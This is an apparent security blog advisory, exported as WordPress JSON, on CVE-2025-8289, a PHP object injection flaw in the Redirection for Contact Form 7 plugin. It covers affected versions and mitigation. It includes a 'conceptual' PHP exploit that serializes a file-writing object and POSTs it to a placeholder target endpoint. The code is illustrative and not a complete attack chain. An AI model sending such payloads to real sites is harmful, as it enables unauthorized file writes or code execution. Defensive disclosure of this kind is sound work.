{"id":86823,"date":"2026-03-31T19:02:22","date_gmt":"2026-03-31T19:02:22","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2025-8289-unauthenticated-php-object-injection-vulnerability-in-redirection-for-contact-form-7-plugin-for-wordpress","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-8289-unauthenticated-php-object-injection-vulnerability-in-redirection-for-contact-form-7-plugin-for-wordpress\/","title":{"rendered":"<strong>CVE-2025-8289: Unauthenticated PHP Object Injection Vulnerability in Redirection for Contact Form 7 Plugin for WordPress<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Redirection for Contact Form 7 plugin for WordPress, a widely used plugin, is vulnerable to PHP Object Injection. This vulnerability, identified as CVE-2025-8289, allows an unauthenticated attacker to potentially compromise a system or leak data. This report will detail the vulnerability, its potential impacts, and measures to mitigate the risk.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-8289<br \/>\nSeverity: High (CVSS: 7.5)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: System compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3876766921\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>Redirection for Contact Form 7 Plugin for WordPress | <= 3.2.4\nRedirection For Contact Form 7 Extension - Create Post | All versions\n\n<strong>How the Exploit Works<\/strong><\/p>\n<p>The Redirection for Contact Form 7 plugin for WordPress is vulnerable to PHP Object Injection via the delete_associated_files function. This vulnerability arises due to the deserialization of untrusted input. Unauthenticated attackers can exploit this vulnerability when a form with a file upload action is present on the site. The presence of the &#8216;Redirection For Contact Form 7 Extension &#8211; Create Post&#8217; extension further makes the vulnerability exploitable. With a POP chain present via an additional plugin or theme, the attacker can take actions like deleting arbitrary files, retrieving sensitive data, or executing code.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p>\n<p>A conceptual example of how the vulnerability might be exploited is shown below:<\/p><div id=\"ameeb-1278913984\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<pre><code class=\"\" data-line=\"\">&lt;?php\nclass Exploit {\nfunction __destruct() {\nfile_put_contents(&#039;\/path\/to\/arbitrary\/file&#039;, &#039;Injected content&#039;);\n}\n}\n$exploit = serialize(new Exploit());\n$postdata = http_build_query(\narray(\n&#039;form_data&#039; =&gt; $exploit,\n)\n);\n$opts = array(&#039;http&#039; =&gt;\narray(\n&#039;method&#039;  =&gt; &#039;POST&#039;,\n&#039;header&#039;  =&gt; &#039;Content-type: application\/x-www-form-urlencoded&#039;,\n&#039;content&#039; =&gt; $postdata\n)\n);\n$context  = stream_context_create($opts);\n$result = file_get_contents(&#039;http:\/\/target.example.com\/vulnerable\/endpoint&#039;, false, $context);\n?&gt;<\/code><\/pre>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Regularly updating all plugins and themes can also reduce the risk of exploitation.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Redirection for Contact Form 7 plugin for WordPress, a widely used plugin, is vulnerable to PHP Object Injection. This vulnerability, identified as CVE-2025-8289, allows an unauthenticated attacker to potentially compromise a system or leak data. This report will detail the vulnerability, its potential impacts, and measures to mitigate the risk. Vulnerability Summary CVE [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-86823","post","type-post","status-publish","format-standard","hentry"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/86823","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=86823"}],"version-history":[{"count":0,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/86823\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=86823"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=86823"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=86823"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=86823"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=86823"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=86823"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=86823"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=86823"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=86823"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}